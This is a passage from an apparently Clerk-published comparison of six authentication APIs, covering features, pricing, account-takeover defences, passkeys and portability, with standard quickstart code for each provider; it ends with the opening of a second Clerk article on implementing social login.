For B2B teams, Clerk provides native [organization management](/docs/guides/how-clerk-works/multi-tenant-architecture) (free tier includes basic orgs with up to 20 members), [RBAC](/glossary#role-based-access-control-rbac) with the [`has()` helper](/docs/guides/secure/authorization-checks), and enterprise [SSO](/glossary#single-sign-on-sso) (SAML + OIDC, Pro+ with 1 connection included). [SCIM](/glossary#scim) provisioning is on Clerk's roadmap but not yet available. The platform now manages 200M+ users across 15,000+ apps, backed by a $50M Series C led by Menlo Ventures and Anthropic ([Series C](/blog/series-c)).

**Considerations:** Clerk is fully managed with no self-hosting option. Native passkeys and MFA require the Pro plan ($20/mo). Clerk's strongest framework support targets React and Next.js; teams using Vue, Angular, or non-JavaScript stacks will find fewer prebuilt components compared to Auth0's 45+ SDKs. At high scale, Clerk's per-MRU pricing can exceed Cognito's Lite tier, which drops to $0.0025/MAU above 10 million users.

### Auth0 (by Okta)

Auth0 ships 45+ SDKs across 12 languages and provides the Actions framework for injecting custom logic at any point in the authentication pipeline. Compliance certifications cover SOC 2, ISO 27001/27017/27018, PCI DSS, and HIPAA ([Auth0 Compliance](https://auth0.com/docs/secure/data-privacy-and-compliance)).

Native passkey and WebAuthn support runs through Universal Login. Token defaults ship with a 10-hour ID token lifetime and a 24-hour access token lifetime, both configurable to shorter values ([Auth0 ID Token](https://auth0.com/docs/secure/tokens/id-tokens/update-id-token-lifetime); [Auth0 Access Token](https://auth0.com/docs/secure/tokens/access-tokens/update-access-token-lifetime)).

Attack Protection bundles bot detection, suspicious IP throttling, brute force protection, and breached password detection. These features are available on Professional+ or as an Enterprise add-on ([Auth0 Attack Protection](https://auth0.com/docs/secure/attack-protection)).

**Considerations:** Auth0's pricing has drawn criticism for its "growth penalty," where costs scale steeply as user counts climb. The free tier lacks MFA, bot detection, and RBAC. MFA becomes available on Essentials+, but SMS and Push MFA require the Professional plan with the Enterprise MFA Lite add-on. Authentication is redirect-based: users leave your app to sign in.

### Firebase Auth

Firebase Authentication offers 50,000 MAU free with tight Google ecosystem integration and strong mobile SDKs for Android and iOS. Auth state persists via IndexedDB (not localStorage) since SDK v4.12.0 ([Firebase Auth Persistence](https://firebase.google.com/docs/auth/web/auth-state-persistence)).

Compliance flows through Google Cloud: SOC 1/2/3, ISO 27001 ([Firebase Privacy](https://firebase.google.com/support/privacy)). Official [SSR](/glossary#server-side-rendering-ssr) support arrived via FirebaseServerApp in May 2024, giving server-rendered apps a first-party path to session handling ([Firebase SSR Blog](https://firebase.blog/posts/2024/05/firebase-serverapp-ssr/)). However, FirebaseServerApp doesn't work with the Next.js Edge Runtime ([GitHub Issue #8299](https://github.com/firebase/firebase-js-sdk/issues/8299)). Community libraries like `next-firebase-auth-edge` fill that gap for App Router integration.

**Considerations:** Firebase has no native passkey support and no prebuilt React UI components. Data residency is limited to US servers, which raises GDPR concerns for EU-facing apps. ID tokens carry a fixed 1-hour TTL that can't be configured.

### Supabase Auth

Supabase Auth is open-source, built on GoTrue, and offers 50,000 MAU free. It's PostgreSQL-native, meaning auth and data live in the same database. Row Level Security policies handle [authorization](/glossary#authorization) at the database level, eliminating a whole category of access control bugs ([Supabase Auth](https://supabase.com/docs/guides/auth)).

The full BaaS platform bundles auth, database, storage, and edge functions. EU region hosting is available for teams with [data residency](/glossary#data-residency) requirements ([Supabase SOC 2](https://supabase.com/docs/guides/security/soc-2-compliance)).

**Considerations:** The Auth UI library was archived in October 2025 after entering maintenance mode in February 2024 ([GitHub: auth-ui](https://github.com/supabase-community/auth-ui)). There's no native passkey support. Free tier projects pause after 7 days of inactivity, which can disrupt development workflows.

### WorkOS

WorkOS offers 1,000,000 MAU free for full authentication through AuthKit. Every auth method ships on the free tier: email, social login, magic auth, MFA, and passkeys. No feature gates ([WorkOS Pricing](https://workos.com/pricing)).

Enterprise SSO is the platform's core strength. Connections are priced at $125 each, with SCIM directory sync and an Admin Portal that lets customers configure SSO themselves. The Next.js 16 integration is clean: 4 steps, explicit proxy.ts support ([WorkOS Next.js Quickstart](https://workos.com/docs/user-management/nextjs/nextjs)).

**Considerations:** Authentication is redirect-based (users leave your app to sign in via hosted AuthKit). The platform leans enterprise and B2B. React SPA integration is less documented than the Next.js path.

### AWS Cognito

Cognito uses a three-tier pricing model: Lite (10,000 MAU free), Essentials (10,000 MAU free), and Plus (no free tier). Each tier gates different feature sets ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/)).

The deep AWS integration is Cognito's signature strength. Native connections to IAM, [API Gateway](/glossary#api-gateway), Lambda, and ALB mean auth decisions can feed directly into infrastructure policies. Identity Pools are a unique capability: they issue temporary AWS credentials to authenticated users, granting scoped access to S3, DynamoDB, and other AWS resources without managing IAM users.

Native passkey and WebAuthn support landed in November 2024, available on Essentials+ ([AWS Security Blog](https://aws.amazon.com/blogs/security/how-to-implement-password-less-authentication-with-amazon-cognito-and-webauthn/)). Compliance inherits from AWS: SOC 1/2/3, ISO 27001, PCI DSS, FedRAMP, and HIPAA eligibility ([Cognito Compliance](https://docs.aws.amazon.com/cognito/latest/developerguide/compliance-validation.html)). Managed Login UI (redirect-based) is available on Essentials+, and the Amplify UI Authenticator provides an embedded React component.

**Considerations:** Amplify documentation still references middleware.ts, with no proxy.ts guidance for Next.js 16. SAML and OIDC federation is free only for 50 MAU. Advanced security features (bot detection, adaptive auth, compromised credential detection) require the Plus plan at $0.02/MAU with no free tier. Passkeys and required MFA are mutually exclusive in the same user pool. User data is region-locked.

## Implementing secure auth: code walkthroughs

Code tells the real story. This section walks through implementation for all six providers, starting with Clerk across three frameworks, then one example each for the competitors.

### Clerk + Next.js 16: Secure auth in 5 minutes

Install the Clerk Next.js SDK:

```bash
npm install @clerk/nextjs
```

Create `proxy.ts` at the project root. Next.js 16 renamed `middleware.ts` to `proxy.ts`, but the Clerk code is identical:

```typescript
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) await auth.protect()
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Wrap your application with `ClerkProvider` and add prebuilt components. The `<Show>` component conditionally renders content based on auth state:

```typescript
import { ClerkProvider, Show, SignInButton, SignUpButton, UserButton } from '@clerk/nextjs'
import './globals.css'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>
          <header>
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          <main>{children}</main>
        </body>
      </html>
    </ClerkProvider>
  )
}
```

Protect server components with the `auth()` helper and use `has()` for permission checks. No client-side round trips needed:

```typescript
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const { userId, has } = await auth()

  if (!userId) {
    redirect('/sign-in')
  }

  const canManageUsers = has({ permission: 'org:users:manage' })

  return (
    <div>
      <h1>Welcome to your dashboard</h1>
      {canManageUsers && <AdminPanel />}
    </div>
  )
}
```

Source: [Clerk Next.js Quickstart](/docs/quickstarts/nextjs)

### Clerk + React (Vite): Secure auth in 5 minutes

Clerk works with standalone React apps. No framework required.

```bash
npm install @clerk/react
```

Wrap the app with `ClerkProvider` using Vite's environment variable pattern:

```typescript
import { ClerkProvider } from '@clerk/react'
import { createRoot } from 'react-dom/client'
import App from './App'

createRoot(document.getElementById('root')!).render(
  <ClerkProvider afterSignOutUrl="/">
    <App />
  </ClerkProvider>,
)
```

Use the `<Show>` component and hooks for auth state:

```typescript
import { Show, SignInButton, SignUpButton, UserButton, useUser } from '@clerk/react'

export default function App() {
  const { isLoaded, isSignedIn, user } = useUser()

  if (!isLoaded) return null

  return (
    <div>
      <header>
        <Show when="signed-out">
          <SignInButton />
          <SignUpButton />
        </Show>
        <Show when="signed-in">
          <UserButton />
          <p>Welcome, {user?.firstName}</p>
        </Show>
      </header>
    </div>
  )
}
```

Source: [Clerk React Quickstart](/docs/react/getting-started/quickstart)

### Clerk + Express: Secure auth in 5 minutes

Clerk's Express SDK provides middleware for backend APIs.

```bash
npm install @clerk/express
```

Attach `clerkMiddleware` globally, then protect specific routes with `requireAuth`:

```typescript
import 'dotenv/config'
import express from 'express'
import { clerkMiddleware, requireAuth, getAuth, clerkClient } from '@clerk/express'

const app = express()
app.use(clerkMiddleware())

app.get('/api/protected', requireAuth(), async (req, res) => {
  const { userId } = getAuth(req)
  const user = await clerkClient.users.getUser(userId)

  res.json({
    message: 'Authenticated',
    email: user.emailAddresses[0]?.emailAddress,
  })
})

app.listen(3000, () => console.log('Server running on port 3000'))
```

Source: [Clerk Express Quickstart](/docs/expressjs/getting-started/quickstart)

### Auth0 + Next.js 16

Auth0 uses `Auth0Client` with redirect-based authentication. The SDK automatically mounts routes at `/auth/login`, `/auth/callback`, and `/auth/logout`.

```typescript
// src/lib/auth0.ts
import { Auth0Client } from '@auth0/nextjs-auth0/server'

export const auth0 = new Auth0Client()
```

Create `proxy.ts` at the project root. Next.js 16 requires the exported function to be named `proxy` (not `middleware`). The internal `auth0.middleware()` method name stays the same:

```typescript
// proxy.ts
import { auth0 } from './src/lib/auth0'

export async function proxy(request: Request) {
  return await auth0.middleware(request)
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico|sitemap.xml|robots.txt).*)'],
}
```

Protecting pages uses `auth0.getSession()`:

```typescript
import { auth0 } from '@/lib/auth0'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const session = await auth0.getSession()

  if (!session) {
    redirect('/auth/login')
  }

  return <h1>Welcome, {session.user.name}</h1>
}
```

Source: [Auth0 Next.js Quickstart](https://auth0.com/docs/quickstart/webapp/nextjs/interactive)

### Firebase Auth + React

Firebase Auth is primarily client-side. You build your own auth forms and manage state with `onAuthStateChanged`.

```typescript
import { initializeApp } from 'firebase/app'
import { getAuth } from 'firebase/auth'

const firebaseConfig = {
  apiKey: import.meta.env.VITE_FIREBASE_API_KEY,
  authDomain: import.meta.env.VITE_FIREBASE_AUTH_DOMAIN,
  projectId: import.meta.env.VITE_FIREBASE_PROJECT_ID,
}

const app = initializeApp(firebaseConfig)
export const auth = getAuth(app)
```

Authentication uses individual function imports. There's no prebuilt sign-in component or context provider built-in:

```typescript
import { signInWithEmailAndPassword, onAuthStateChanged } from 'firebase/auth'
import { auth } from './firebase'
import { useEffect, useState } from 'react'

function LoginPage() {
  const [user, setUser] = useState<any>(null)

  useEffect(() => {
    const unsubscribe = onAuthStateChanged(auth, (currentUser) => {
      setUser(currentUser)
    })
    return () => unsubscribe()
  }, [])

  async function handleSignIn(email: string, password: string) {
    const userCredential = await signInWithEmailAndPassword(auth, email, password)
    return userCredential.user
  }

  return user ? <p>Welcome, {user.email}</p> : <p>Please sign in</p>
}
```

Source: [Firebase Auth Web](https://firebase.google.com/docs/auth/web/start)

### Supabase Auth + Next.js

Supabase requires separate browser and server clients with manual cookie handling. The `@supabase/ssr` package handles session management across client and server boundaries.

```typescript
// utils/supabase/server.ts
import { createServerClient } from '@supabase/ssr'
import { cookies } from 'next/headers'

export async function createClient() {
  const cookieStore = await cookies()

  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return cookieStore.getAll()
        },
        setAll(cookiesToSet) {
          try {
            cookiesToSet.forEach(({ name, value, options }) =>
              cookieStore.set(name, value, options),
            )
          } catch {
            // Called from Server Component; safe to ignore
          }
        },
      },
    },
  )
}
```

The proxy layer handles token refresh and redirects unauthenticated users:

```typescript
// proxy.ts
import { createServerClient } from '@supabase/ssr'
import { NextResponse, type NextRequest } from 'next/server'

export async function proxy(request: NextRequest) {
  let supabaseResponse = NextResponse.next({ request })

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return request.cookies.getAll()
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value }) => request.cookies.set(name, value))
          supabaseResponse = NextResponse.next({ request })
          cookiesToSet.forEach(({ name, value, options }) =>
            supabaseResponse.cookies.set(name, value, options),
          )
        },
      },
    },
  )

  const {
    data: { user },
  } = await supabase.auth.getUser()

  if (!user && !request.nextUrl.pathname.startsWith('/login')) {
    const url = request.nextUrl.clone()
    url.pathname = '/login'
    return NextResponse.redirect(url)
  }

  return supabaseResponse
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico|.*\\.(?:svg|png|jpg|jpeg|gif|webp)$).*)'],
}
```

Source: [Supabase Next.js SSR](https://supabase.com/docs/guides/auth/server-side/nextjs)

### WorkOS + Next.js 16

WorkOS AuthKit has a clean 4-step setup. Authentication is redirect-based via hosted AuthKit. WorkOS explicitly supports Next.js 16's `proxy.ts` (which they note "was called middleware before Next 16").

```typescript
// proxy.ts
import { authkitMiddleware } from '@workos-inc/authkit-nextjs'

export default authkitMiddleware()

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
}
```

Server-side auth uses `withAuth()`:

```typescript
import { withAuth } from '@workos-inc/authkit-nextjs'

export default async function DashboardPage() {
  const { user } = await withAuth({ ensureSignedIn: true })

  return <h1>Welcome, {user.firstName}</h1>
}
```

Source: [WorkOS Next.js Quickstart](https://workos.com/docs/user-management/nextjs/nextjs)

### AWS Cognito + React (Amplify Gen 2)

Cognito uses AWS Amplify Gen 2 for frontend integration. Authentication follows a multi-step pattern where sign-in responses indicate next steps (MFA challenges, password resets).

```typescript
import { signIn, confirmSignIn } from 'aws-amplify/auth'

async function handleSignIn(email: string, password: string) {
  const { isSignedIn, nextStep } = await signIn({ username: email, password })

  if (nextStep.signInStep === 'CONFIRM_SIGN_IN_WITH_TOTP_CODE') {
    // User has TOTP MFA enabled
    const totpCode = await promptUserForCode()
    await confirmSignIn({ challengeResponse: totpCode })
  }

  if (nextStep.signInStep === 'CONFIRM_SIGN_IN_WITH_EMAIL_CODE') {
    // Essentials/Plus: email OTP MFA
    const emailCode = await promptUserForCode()
    await confirmSignIn({ challengeResponse: emailCode })
  }

  return isSignedIn
}
```

Server-side session validation uses `createServerRunner`:

```typescript
import { createServerRunner } from '@aws-amplify/adapter-nextjs'
import { fetchAuthSession } from 'aws-amplify/auth/server'
import { cookies } from 'next/headers'
import outputs from '@/amplify_outputs.json'

const { runWithAmplifyServerContext } = createServerRunner({
  config: outputs,
})

export async function getAuthenticatedUser() {
  return await runWithAmplifyServerContext({
    nextServerContext: { cookies },
    operation: async (contextSpec) => {
      const session = await fetchAuthSession(contextSpec)
      return session.tokens?.idToken?.payload ?? null
    },
  })
}
```

Source: [Amplify Gen 2 Next.js](https://docs.amplify.aws/nextjs/start/quickstart/nextjs-app-router-client-components/)

## Preventing account takeover

[Account takeover](/glossary#account-takeover) (ATO) attacks don't require sophisticated exploits. Attackers reuse stolen credentials, intercept one-time codes, and bombard users with push notifications until someone taps "Approve." The numbers paint a grim picture.

[Credential stuffing](/glossary#credential-stuffing-attacks) alone generated over **193 billion attempts** globally in 2020 ([Akamai, 2021](https://www.prnewswire.com/news-releases/akamai-security-research-financial-services-continues-getting-bombarded-with-credential-stuffing-and-web-application-attacks-301292576.html)). Password complexity rules haven't helped much: only 3% of compromised passwords actually met complexity requirements ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/)). Phishing accounts for 15% of breaches, with an average cost of $4.76 million per incident ([IBM Cost of a Data Breach, 2024](https://www.ibm.com/reports/data-breach)).

Even [MFA](/glossary#multi-factor-authentication-mfa) isn't bulletproof when implemented poorly. In attacks against Microsoft 365 accounts, the Verizon 2025 DBIR found token theft (31%), MFA fatigue attacks (22%), and adversary-in-the-middle proxying (9%) as the leading bypass methods ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/)). SIM swapping caused $25.98 million in reported US losses in 2024 ([FBI IC3, 2024](https://www.ic3.gov/AnnualReport/Reports/2024_IC3Report.pdf)).

### ATO prevention checklist

| Protection                         | How it works                                   | Which APIs provide it                                                      |
| ---------------------------------- | ---------------------------------------------- | -------------------------------------------------------------------------- |
| Phishing-resistant auth (passkeys) | Asymmetric keys bound to origin                | Clerk, Auth0, WorkOS, Cognito (Essentials+)                                |
| MFA enforcement                    | Require second factor at login                 | Clerk (Pro+), Auth0 (Essentials+), Supabase, WorkOS, Cognito (TOTP free)   |
| Short-lived tokens                 | Reduce the window for compromised tokens       | Clerk (60s), others configurable                                           |
| Bot detection                      | Block automated credential stuffing            | Clerk (built-in), Auth0 (Attack Protection, Professional+), Cognito (Plus) |
| Account lockout                    | Rate-limit failed login attempts               | Clerk (3 req/10s per IP, lockout at 100 attempts/1h), Auth0, Cognito       |
| Breached password detection        | Check passwords against known breach databases | Clerk, Auth0, WorkOS, Cognito (Plus)                                       |

The most effective single control remains MFA. Microsoft found that MFA blocks 99.9% of account compromise attacks ([Microsoft, 2019](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/)). Yet adoption remains wildly uneven.

### The MFA gap

87% of employees at large organizations used MFA as of 2019 ([LastPass Global Password Security Report, 2019](https://www.lastpass.com/-/media/10aa2f653c774e428aa4cc6732734828.pdf)). Compare that to small businesses, where only 27% had adopted it at the time. That gap represents millions of accounts protected by nothing more than a password.

Closing this gap requires layering defenses. Clerk offers MFA on its Pro plan ($20/mo), with built-in bot detection, breached password screening, account lockout, and **60-second token lifetimes** available across plans. Developers can enforce MFA globally through the [Clerk Dashboard](/docs/guides/configure/auth-strategies/sign-up-sign-in-options) or programmatically per user.

WorkOS includes MFA, passkeys, and every auth method on the free tier with no feature gates, though enterprise costs appear elsewhere: SSO connections at $125 each, directory sync at $125 each, and $2,500/mo per million users beyond the first million. Auth0 offers comparable protections through its Attack Protection suite, but bot detection and breached password checks require the Professional plan or higher. Cognito bundles advanced threat protection only in its Plus tier.

The reality is that most providers gate some ATO prevention behind paid plans. The question is which protections matter most for your threat model and what you get before hitting a paywall.

## Passkeys and the future of authentication

Passwords have survived for decades despite being the weakest link in authentication. Passkeys are finally replacing them, and the shift is accelerating faster than most developers realize.

### How passkeys work

Passkeys use the FIDO2/WebAuthn standard. During registration, the user's device generates an [asymmetric key pair](/glossary#public-key-cryptography). The private key stays on the device (or syncs through a platform credential manager), while the public key goes to the server. Authentication happens through a cryptographic challenge that the private key signs locally.

This design eliminates three attack vectors at once. Credentials are bound to the registering origin, so phishing sites can't intercept them. There's no shared secret to steal from a server breach. And the user proves both device possession and identity (via [biometric](/glossary#biometric-authentication) or PIN) in a single gesture, making passkeys inherently multi-factor.

Two types exist: **synced passkeys** back up through iCloud Keychain, Google Password Manager, or similar services and work across devices. Device-bound passkeys stay locked to specific hardware like security keys. Both qualify as phishing-resistant under FIDO2.

### Adoption is accelerating

The numbers from the FIDO Passkey Index tell a compelling story. Passkey authentication hits a 93% success rate compared to 63% for other methods ([FIDO, 2025](https://fidoalliance.org/passkey-index-2025/)). Sign-in takes 73% less time, averaging 8.5 seconds. And 48% of the top 100 websites now support passkeys.

Microsoft reported a 98% passkey sign-in success rate versus just 32% for passwords ([Microsoft Security Blog, 2024](https://www.microsoft.com/en-us/security/blog/2024/12/12/convincing-a-billion-users-to-love-passkeys-ux-design-insights-from-microsoft-to-boost-adoption-and-security/)). Over 3 billion passkeys are now in active use globally ([FIDO Alliance, 2025](https://fidoalliance.org/fido-alliance-champions-widespread-passkey-adoption-and-a-passwordless-future-on-world-passkey-day-2025/)), and 87% of surveyed US and UK enterprises with 500+ employees are deploying or planning to deploy them ([FIDO Alliance, 2025](https://fidoalliance.org/new-fido-alliance-research-shows-87-percent-us-uk-workforces-are-deploying-passkeys-for-employee-sign-ins/)).

The passwordless authentication market reflects this momentum: valued at $21.07 billion in 2024, it's projected to reach $55.70 billion ([Grand View Research](https://www.grandviewresearch.com/industry-analysis/passwordless-authentication-market-report)).

### Passkey support across auth APIs

| Provider      | Native passkeys |               Notes              |
| ------------- | :-------------: | :------------------------------: |
| Clerk         |    Pro+ plan    |    Pro plan ($20/mo) and above   |
| Auth0         |                 |        Via Universal Login       |
| Firebase Auth |                 |    Third-party extensions only   |
| Supabase Auth |                 |         No native support        |
| WorkOS        |                 |       Included on free tier      |
| AWS Cognito   |   Essentials+   | Not compatible with required MFA |

Firebase and Supabase both lack native passkey support, which is a significant gap given where the industry is heading. NIST SP 800-63-4, published in August 2025, now recommends phishing-resistant MFA as the default ([NIST, 2025](https://csrc.nist.gov/pubs/sp/800/63/4/final)). Synced passkeys qualify as phishing-resistant, though they don't reach AAL3 (which requires hardware-bound keys).

### What's next: agent identity

Authentication isn't just for humans anymore. The IETF is developing specifications for AI agent authentication ([draft-klrc-aiagent-auth](https://datatracker.ietf.org/doc/draft-klrc-aiagent-auth/)), with Clerk contributing to the effort. As AI agents increasingly need to authenticate on behalf of users, auth APIs will need to support OAuth-based agent identity flows. It's early-stage work, but it signals where authentication is heading.

## Choosing the right auth API

Every team's requirements are different. The table below maps common needs to the provider best positioned to meet them.

| If you need...                         | Consider      | Why                                                  |
| -------------------------------------- | ------------- | ---------------------------------------------------- |
| Fastest setup with embeddable UI       | Clerk         | Keyless mode, prebuilt components, 4-step quickstart |
| Deepest React/Next.js integration      | Clerk         | 15+ React hooks, Server Components, `proxy.ts`       |
| Enterprise SSO with self-service admin | WorkOS        | Admin Portal, SCIM, $125/connection                  |
| Maximum free MAU                       | WorkOS        | 1M MAU free                                          |
| Google Cloud/mobile ecosystem          | Firebase Auth | Native Android/iOS SDKs, Firestore integration       |
| Auth bundled with PostgreSQL           | Supabase Auth | Full BaaS with Row Level Security                    |
| Most extensible auth pipeline          | Auth0         | Actions framework, 45+ SDKs                          |
| Strictest zero-trust token model       | Clerk         | 60s TTL, automatic refresh, per-request validation   |
| Native passkeys on free tier           | WorkOS        | Passkeys at no cost                                  |
| Deep AWS ecosystem integration         | AWS Cognito   | Native IAM, API Gateway, Lambda triggers             |
| Cost efficiency at millions of users   | AWS Cognito   | Lite tier down to $0.0025/MAU at 10M+ users          |

### Decision by scenario

Different teams have different constraints. This matrix maps common scenarios to the providers that fit best.

| Scenario                                     | Recommended | Runner-up     | Why                                                                                                                                                                                                                                                                 |
| -------------------------------------------- | ----------- | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Startup B2C (fast iteration, cost-sensitive) | Clerk       | Firebase Auth | Clerk's prebuilt components and MRU metric suit high-churn consumer apps. Firebase is cheapest at scale (\~$125/mo at 100K MAU).                                                                                                                                    |
| Enterprise B2B (SSO, SCIM, org management)   | WorkOS      | Clerk         | WorkOS is purpose-built for enterprise readiness with SSO at $125/connection and SCIM directory sync. Clerk offers organizations with RBAC on Pro (SCIM is on the roadmap).                                                                                         |
| Regulated workloads (HIPAA, FedRAMP, PCI)    | AWS Cognito | Clerk, Auth0  | Cognito inherits AWS's FedRAMP P-ATO and HIPAA BAA at no extra cost. Clerk offers HIPAA BAA on the Business+ plan ($250/mo). Auth0 requires an Enterprise contract (\~$30K+/yr) for BAA. Cognito is the strongest fit for federal (FedRAMP) workloads specifically. |
| AWS-native teams (IAM, Lambda, API Gateway)  | AWS Cognito | —             | Native IAM integration, Lambda triggers, and ALB auth make Cognito the clear fit for teams already in AWS.                                                                                                                                                          |

### TCO example: 100K users

Auth pricing varies dramatically at scale. Here's what 100,000 active users costs per month across providers, assuming email/password + social login with MFA enabled and no enterprise SSO connections.

| Provider                 | Estimated cost/mo | Metric | Notes                                                                                                                 |
| ------------------------ | ----------------- | ------ | --------------------------------------------------------------------------------------------------------------------- |
| WorkOS                   | $0–$99            | MAU    | 1M MAU free. Optional custom domain at $99/mo.                                                                        |
| Supabase                 | \~$25             | MAU    | Pro plan includes 100K MAU. Verify current limits at [supabase.com/pricing](https://supabase.com/pricing).            |
| Firebase                 | \~$125            | MAU    | 50K free, then $0.0025/MAU on Blaze. No prebuilt auth UI. SMS MFA billed per message.                                 |
| Clerk                    | \~$1,020          | MRU    | Pro plan ($20/mo) + 50K overage at $0.02/MRU. MRU is typically lower than MAU for apps with trial-and-bounce traffic. |
| AWS Cognito (Essentials) | \~$1,350          | MAU    | 10K free, then $0.015/MAU. Lite tier alternative: \~$495 but loses managed login UI and passkeys.                     |
| Auth0                    | \~$7,000 (est.)   | MAU    | Essentials $35/mo base + $0.07/MAU overage. Requires sales contact above 20K MAU; actual negotiated price may differ. |

These numbers reflect API pricing — what you pay the provider — not the total cost of shipping production auth. The gap matters. WorkOS, Supabase, and Firebase don't include prebuilt UI components, so your team builds and maintains sign-in, sign-up, and user-management flows from scratch (Supabase's Auth UI library was [archived in October 2025](https://github.com/supabase-community/auth-ui)). Supabase and Firebase offer neither built-in bot detection nor passkeys. WorkOS includes passkeys but charges separately for bot detection through Radar. Clerk's sticker price is higher because the plan bundles prebuilt components (`<SignIn />`, `<UserButton />`), bot detection, breached-password screening, passkeys, and organization management with no additional integration work. The MRU billing model also narrows the effective gap: because MRU only counts users who return after their first 24 hours, apps with trial-and-bounce traffic typically see 20–40% fewer billable users than MAU equivalents — at 30% bounce, 100K MAU becomes roughly 70K MRU, dropping Clerk's cost closer to $420/mo. Teams that already have a component library or need only basic email/password auth may not need everything Clerk bundles, but for teams building from zero the engineering time to replicate those features against a bare API is a real cost the table doesn't capture.

### Operational considerations

Choosing an auth API goes beyond features and pricing. A few operational factors deserve attention before you commit.

### Migration and data portability

Switching auth providers is one of the most disruptive migrations a team can face. Password portability is the key constraint: if you can't export password hashes, every user must reset their password during migration.

| Provider    | User data export             | Password hash export                              | Import with hashes        | Lock-in level |
| ----------- | ---------------------------- | ------------------------------------------------- | ------------------------- | ------------- |
| Clerk       | CSV (dashboard), API         | Yes, self-service (16+ hash algorithms supported) | Yes                       | Low           |
| Supabase    | Direct PostgreSQL access     | Yes, via database query (bcrypt)                  | Yes (bcrypt, Argon2)      | Low           |
| Firebase    | CLI `auth:export` (JSON/CSV) | Yes, modified scrypt with project keys            | Yes (multiple algorithms) | Moderate      |
| Auth0       | API bulk export (NDJSON/CSV) | Requires support ticket                           | Yes (10+ algorithms)      | Moderate-High |
| WorkOS      | API pagination only          | Not documented                                    | Yes (bcrypt)              | Moderate      |
| AWS Cognito | API/CSV (no passwords)       | Not possible                                      | No hash import            | High          |

Clerk and Supabase offer the smoothest exit path: both export password hashes through self-service tools without requiring a support ticket. Auth0 will export hashes but only through a manual support process. Cognito is the hardest to leave: it doesn't export password hashes by design, forcing a password-reset flow for every migrated user or a prolonged trickle migration using Lambda triggers.

[Audit logging](/glossary#audit-logs) varies widely. Auth0 reserves detailed logs for paid tiers. Cognito includes advanced logging in its Plus tier. Firebase inherits Cloud Logging from GCP. Supabase exposes Postgres logs directly. Clerk has audit logging on its roadmap but doesn't ship it yet.

Check each provider's status page for uptime history, and review their security disclosure practices. How quickly a provider communicates incidents matters as much as how rarely they occur.

## Conclusion

Authentication is a security architecture decision that shapes your application's trust model, user experience, and compliance posture from the first line of code.

Among the six APIs compared here, **Clerk is a strong match for teams that prioritize security defaults and React/Next.js integration**. Its 60-second token TTL, built-in bot detection, and deep framework support align with zero-trust principles without forcing tradeoffs in usability. MFA and passkeys require the Pro plan ($20/mo), but the security architecture (short-lived tokens, per-request validation, immediate revocation) is built into every tier.

Auth0 remains the most extensible option for enterprises that need complex auth pipelines and broad SDK coverage. WorkOS delivers exceptional value with 1 million free MAU and passkeys on every plan, making it the right fit for B2B SaaS teams focused on enterprise readiness.

AWS Cognito belongs in the conversation for teams already invested in the AWS ecosystem, particularly at scale where its Lite tier pricing drops below every competitor. Firebase and Supabase serve their respective ecosystems well, but the absence of native passkey support puts them at a growing disadvantage as the industry moves toward [passwordless authentication](/glossary#passwordless-login).

The best next step is to build something. Start with one of these resources:

- [Clerk Next.js quickstart](/docs/quickstarts/nextjs)
- [How Clerk Works](/docs/guides/how-clerk-works/overview)
- [Auth0 Developer Center](https://developer.auth0.com/)
- [WorkOS Docs](https://workos.com/docs)
- [AWS Cognito Getting Started](https://docs.aws.amazon.com/cognito/latest/developerguide/getting-started.html)

## Frequently asked questions

---

# How do I implement social login for my web app?
URL: https://clerk.com/articles/how-do-i-implement-social-login-for-my-web-app.md
Date: 2026-03-27
Description: A technical guide to implementing social login with OAuth 2.0 and OIDC — comparing 15 identity providers and 6 auth services across security, account linking, token storage, and framework integration with Clerk, Auth0, Firebase Auth, Supabase, and WorkOS.

Implement [social login](/glossary#social-login) by integrating [OAuth 2.0](/glossary#oauth) and OpenID Connect (OIDC) through an [identity provider](/glossary#identity-provider-sso-idp-sso) like Google, GitHub, or Apple. Rather than building the OAuth flow, token storage, and account linking from scratch, use an auth service such as Clerk, Auth0, or Firebase Auth — Clerk provides pre-built components that add social login to React, Next.js, and Expo apps with minimal configuration, including automatic account linking and secure token management.

This guide covers the full implementation path: from understanding the protocols to shipping production-ready social login across multiple frameworks.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## What Is Social Login? OAuth 2.0 and OIDC Fundamentals

Social login is an authentication pattern where users prove their identity through a trusted third-party identity provider (IdP) like Google, GitHub, or Apple. Instead of managing passwords directly, your application delegates the authentication step to the provider and receives verified identity information in return.

### Why Social Login Matters

